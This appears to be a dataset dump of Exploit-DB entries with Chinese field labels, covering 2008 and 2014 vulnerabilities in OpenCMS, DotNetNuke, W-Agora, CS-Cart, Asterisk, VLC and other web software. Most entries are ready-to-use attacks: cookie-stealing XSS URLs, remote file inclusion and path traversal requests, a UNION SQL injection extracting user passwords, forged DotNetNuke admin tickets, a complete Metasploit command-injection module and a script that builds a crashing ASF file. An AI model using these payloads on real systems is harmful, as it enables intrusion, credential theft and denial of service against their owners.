QLWD/code_shield huggingface dataset:
标题: Alkacon OpenCMS 7.0.3 - 'users_list.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31475 CVE: 2008-1510 类型: WEBAPPS 平台: JSP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28411/info

Alkacon OpenCms is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/opencms/system/workplace/admin/accounts/users_list.jsp?ispopup=&action=listsearch&framename=&title=&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Faccounts%252Forgunit&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=&formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root=&path=%252Faccounts%252Forgunit%252Fusers&redirect=&searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E&listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E URL: https://www.exploit-db.com/exploits/31475
标题: DotNetNuke 4.8.1 - Default 'ValidationKey' and 'DecriptionKey' Weak Encryption EDB-ID: 31465 CVE: 2008-6540 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28391/info

DotNetNuke is prone to a weak encryption vulnerability.

An attacker can exploit this issue to decrypt sensitive data. Information obtained may lead to further attacks.

This issue affects DotNetNuke 4.8.1; other versions may also be affected. 

  // Step 1: Generate the two FormsAuthenticationTickets
      FormsAuthenticationTicket  ticket1 = new FormsAuthenticationTicket("admin", true, 10000);
      FormsAuthenticationTicket ticket2 = new FormsAuthenticationTicket(2, "admin", System.DateTime.Now, System.DateTime.MaxValue, true, "Registered
Users;Subscribers;Administrators");


      // Step 2: Encrypt the FormsAuthenticationTickets
      string cookie1 = ".DOTNETNUKE=" + FormsAuthentication.Encrypt(ticket1);
      string cookie2 = "portalroles=" + FormsAuthentication.Encrypt(ticket2); URL: https://www.exploit-db.com/exploits/31465
标题: W-Agora 4.0 - 'mail_users.php?bn_dir_default' Remote File Inclusion EDB-ID: 31455 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
      
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/mail_users.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31455
标题: W-Agora 4.0 - 'edit_forum.php?bn_dir_default' Remote File Inclusion EDB-ID: 31454 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
     
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/edit_forum.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31454
标题: W-Agora 4.0 - 'reorder_forums.php?bn_dir_default' Remote File Inclusion EDB-ID: 31457 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
        
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/reorder_forums.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31457
标题: W-Agora 4.0 - 'create_user.php?bn_dir_default' Remote File Inclusion EDB-ID: 31451 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
  
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/create_user.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31451
标题: W-Agora 4.0 - 'delete_notes.php?bn_dir_default' Remote File Inclusion EDB-ID: 31452 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
   
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/delete_notes.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31452
标题: W-Agora 4.0 - 'moderate_notes.php?bn_dir_default' Remote File Inclusion EDB-ID: 31456 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
       
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/moderate_notes.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31456
标题: W-Agora 4.0 - 'delete_user.php?bn_dir_default' Remote File Inclusion EDB-ID: 31453 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
    
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/delete_user.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31453
标题: W-Agora 4.0 - 'add_user.php?bn_dir_default' Remote File Inclusion EDB-ID: 31449 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info

w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/add_user.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31449
标题: W-Agora 4.0 - 'create_forum.php?bn_dir_default' Remote File Inclusion EDB-ID: 31450 CVE: 2008-1466 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28366/info
 
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/create_forum.php?bn_dir_default=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31450
标题: Elastic Path 4.1 - '/manager/FileManager.jsp?dir' Traversal Arbitrary Directory Listing EDB-ID: 31446 CVE: 2008-1606 类型: WEBAPPS 平台: JSP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28352/info
 
Elastic Path is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
These issues include:
 
- A local file-include vulnerability.
- An arbitrary file-upload vulnerability.
- A directory-traversal vulnerability.
 
Note that attackers must be logged into the application to exploit issues.
 
Exploiting these issues can allow attackers to access potentially sensitive information or to execute arbitrary script code in the context of the webserver process. Other attacks may also be possible.
 
Elastic Path 4.1 and 4.1.1 are vulnerable; other versions may also be affected. 

http://www.example.com/elasticpath_dir/manager/fileManager.jsp?dir=../../../../WINDOWS/system32/config/ URL: https://www.exploit-db.com/exploits/31446
标题: cPanel 11.18.3 - List Directories and Folders Information Disclosure EDB-ID: 31439 CVE: 2008-7142 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28300/info

cPanel is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to determine programs that are running on the affected server and to view folders on other sites that are protected by a firewall. Information obtained may lead to further attacks.

http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/home/user/.htpasswds
http://www.example.com:2082/frontend/x/diskusage/index.html?showtree=/var URL: https://www.exploit-db.com/exploits/31439
标题: Joomla! / Mambo Component Datsogallery 1.3.1 - 'id' SQL Injection EDB-ID: 31448 CVE: 2008-1540 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28361/info

The Datsogallery component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_datsogallery&func=detail&id='union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8,9,0,1,2,3,4,5+from+jos_users/* URL: https://www.exploit-db.com/exploits/31448
标题: CS-Cart 1.3.2 - 'index.php' Cross-Site Scripting EDB-ID: 31443 CVE: 2008-1458 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/28333/info

CS-Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CS-Cart 1.3.2 is vulnerable; other versions may also be affected. 

GET /cscart/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=3&q=%22%20style%3D%22background:url(javascript:alert(12345))%22%20OA%3D%22&.x=0&.y=0 HTTP/1.0
Cookie: cart_languageC=EN; csid=
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 192.168.1.1
Referer: http://192.168.1.1/cscart/ URL: https://www.exploit-db.com/exploits/31443
标题: Asterisk 1.4.x - RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities EDB-ID: 31440 CVE: 2008-1289 类型: DOS 平台: LINUX 发布日期: 2008-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28308/info

Asterisk is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.

Exploiting these issues may allow an attacker to corrupt memory and cause denial-of-service conditions or potentially execute arbitrary code in the context of the application.

These issues affect the following versions:

Asterisk Open Source prior to 1.4.18.1 and 1.4.19-rc3.
Asterisk Open Source prior to 1.6.0-beta6
Asterisk Business Edition prior to C.1.6.1
AsteriskNOW prior to 1.0.2
Asterisk Appliance Developer Kit prior to Asterisk 1.4 revision 109386
s800i (Asterisk Appliance) prior to 1.1.0.2 

Example invalid SDP payload (invalid RTP payload type is 780903144):

v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000

Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000 URL: https://www.exploit-db.com/exploits/31440
标题: IBM Rational ClearQuest 7.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31438 CVE: 2007-4592 类型: WEBAPPS 平台: JAVA 发布日期: 2008-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/28296/info

IBM Rational ClearQuest is prone to multiple cross-site scripting vulnerabilities because it fails to adequately sanitize user-supplied input.

An attacker could exploit these vulnerabilities to execute arbitrary local or remote script code in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Ration ClearQuest 2003.06.16, 7.0.0.1, 7.0.0.2, 7.0.1.0, and 7.0.1.1 are vulnerable; other versions may also be affected.

http://www.example.com/cqweb/login?/cqweb/main?command=GenerateMainFrame&service=CQ&schema=SCHEMAHERE"; alert('XSS');//&contextid=DATABASECONTEXTHERE"; alert('XSS');// http://www.example.com/cqweb/login?targetUrl=/cqweb/main?command=GenerateMainFrame&ratl_userdb=DBHERE,&test=&clientServerAddress=http://www.example.com/cqweb/login&username=test</script><script>alert('xss')</script>&password=test&schema=SCHEMAHERE&userDb=DBHERE URL: https://www.exploit-db.com/exploits/31438
标题: Elastic Path 4.1 - '/manager/getImportFileRedirect.jsp?file' Traversal Arbitrary File Access EDB-ID: 31445 CVE: 2008-1606 类型: WEBAPPS 平台: JSP 发布日期: 2008-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/28352/info

Elastic Path is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

These issues include:

- A local file-include vulnerability.
- An arbitrary file-upload vulnerability.
- A directory-traversal vulnerability.

Note that attackers must be logged into the application to exploit issues.

Exploiting these issues can allow attackers to access potentially sensitive information or to execute arbitrary script code in the context of the webserver process. Other attacks may also be possible.

Elastic Path 4.1 and 4.1.1 are vulnerable; other versions may also be affected. 

http://www.example.com/elasticpath_dir/manager/getImportFileRedirect.jsp?type=mapping&file=../../../../../boot.ini URL: https://www.exploit-db.com/exploits/31445
标题: Skybluecanvas CMS - Remote Code Execution (Metasploit) EDB-ID: 31432 CVE: 2014-1683 类型: REMOTE 平台: LINUX 发布日期: 2014-02-05 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'SkyBlueCanvas CMS Remote Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability
        in SkyBlueCanvas CMS version 1.1 r248-03 and below.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Scott Parish', # Vulnerability discovery and exploit
          'xistence <xistence[at]0x90.nl>' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-1683'],
          ['OSVDB', '102586'],
          ['BID', '65129'],
          ['EDB', '31183'],
          ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
          'DisableNops' => true,
          'Compat' =>
            {
              'ConnectionType' => 'find',
              'PayloadType'    => 'cmd',
              'RequiredCmd'    => 'generic perl ruby bash telnet python'
            }
        },
      'Platform'       => %w{ unix },
      'Targets'        =>
        [
          ['SkyBlueCanvas 1.1 r248', {}]
        ],
      'Arch'           => ARCH_CMD,
      'DisclosureDate' => 'Jan 28 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
      ],self.class)
  end

  def check
    uri = normalize_uri(target_uri.path.to_s, "index.php")

    res = send_request_raw('uri' => uri)

    if res and res.body =~ /[1.1 r248]/
      vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    uri = normalize_uri(target_uri.path.to_s, "index.php")

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => uri,
      'vars_get' => { 'pid' => '4' },
      'vars_post' =>
        {
          'cid' => '3',
          'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
          'email' => rand_text_alphanumeric(10),
          'subject' => rand_text_alphanumeric(10),
          'message' => rand_text_alphanumeric(10),
          'action' => 'Send'
        }
    })
  end
end URL: https://www.exploit-db.com/exploits/31432
标题: TopicsViewer 3.0 Beta 1 - Multiple Vulnerabilities EDB-ID: 31419 CVE: 2014-10023 类型: WEBAPPS 平台: PHP 发布日期: 2014-02-05 漏洞利用脚本: TopicsViewer v3.0 Beta 1   - Multiple Sql Injection Vulnerabilty
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.topicsviewer.com/
####################################################################

Multiple Sql Injection
======================

VULNERABILITY
##############
[I] /admincp/edit_block.php (line 46-48)

$sql_b_e = "select * from blocks where b_id = $_GET[id] ";
$result_b_e = @mysql_query ($sql_b_e);
$block = @mysql_fetch_array ($result_b_e);

#########
EXPLOIT
#########
localhost/Path/admincp/edit_block.php?id=1+and+1=2+union+select+1,version(),3,4,5,6,7,8,9,10

VULNERABILITY
##############
[II] /admincp/edit_cat.php (line 77-79)

    $sql = "select * from cat where c_id = $_GET[id]";
    $result = @mysql_query ($sql);
    $cat= @mysql_fetch_array ($result);

#########
EXPLOIT
#########
localhost/Path/admincp/edit_cat.php?id=1+and+1=2+union+select+1,version(),3,4,5,6,7,8

VULNERABILITY
##############
[III] /admincp/edit_note.php (line 77-79)

    $sql = "select * from cat where c_id = $_GET[id]";
    $result = @mysql_query ($sql);
    $cat= @mysql_fetch_array ($result);

#########
EXPLOIT
#########
localhost/Path/admincp/edit_note.php?id=1+and+1=2+union+select+1,version(),3,4,5


VULNERABILITY
##############
[V] /admincp/rmv_topic.php (line 46-47)

    $sql = "select * from topics where t_id = $_GET[id] LIMIT 1 ;";
                 $result = @mysql_query ($sql);

#########
EXPLOIT
#########
localhost/Path/admincp/rmv_topic.php?id=1+and+1=2+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14

#################################################################### URL: https://www.exploit-db.com/exploits/31419
标题: VideoLAN VLC Media Player 2.1.2 - '.asf' Crash (PoC) EDB-ID: 31429 CVE: 2014-1684 类型: DOS 平台: MULTIPLE 发布日期: 2014-02-05 漏洞利用脚本: #!/usr/bin/python
# VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer
# VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size
# is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2
# to run this script you need to install python bitstring module 
# usage you supply any valid asf and the script will produxe a POC asf that will crash vlc 

import sys
from bitstring import BitArray

f = open(sys.argv[1],'r+b')

f.seek(0,2)

size = f.tell()

print "[*] file size: %d" % size

f.seek(0,0)

print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"

fb = BitArray(f)

index  =  fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)

print "[*] found file properties GUID"
print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]

# index of minumum packet size in File Proprties header
i_min_data_pkt_size = index[0] +  736

print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex
print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex

# Accroding to ASF standarad the minimum data size and the maximum data size should be equal
print "[*] Changing Miniumum and Maximum Data packet size to 0"

# changing the data packets in bit array

fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00
fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00
fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00
fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00
fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00
fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00
fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00
fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00

print "[*] POC File Created poc.asf"

of = open('poc.asf','w+b')
fb.tofile(of)
of.close()
f.close() URL: https://www.exploit-db.com/exploits/31429
标题: webSPELL 4.1.2 - 'index.php' Cross-Site Scripting EDB-ID: 31416 CVE: 2008-1481 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/28294/info

webSPELL is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

webSPELL 4.01.02 is vulnerable; other versions may also be affected.

http://www.example.com/path/index.php?site=forum&board=">[XSS] URL: https://www.exploit-db.com/exploits/31416
标题: RSA WebID 5.3 - 'IISWebAgentIF.dll' Cross-Site Scripting EDB-ID: 31411 CVE: 2008-1470 类型: WEBAPPS 平台: CGI 发布日期: 2008-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28277/info

RSA WebID is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

RSA WebID 5.3 is vulnerable; other versions may also be affected. 

https://www.example.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&authntype=2&username=a&passcode=a&postdata=aaa"%20><SCRIPT>alert(document.cookie)</script><!-- URL: https://www.exploit-db.com/exploits/31411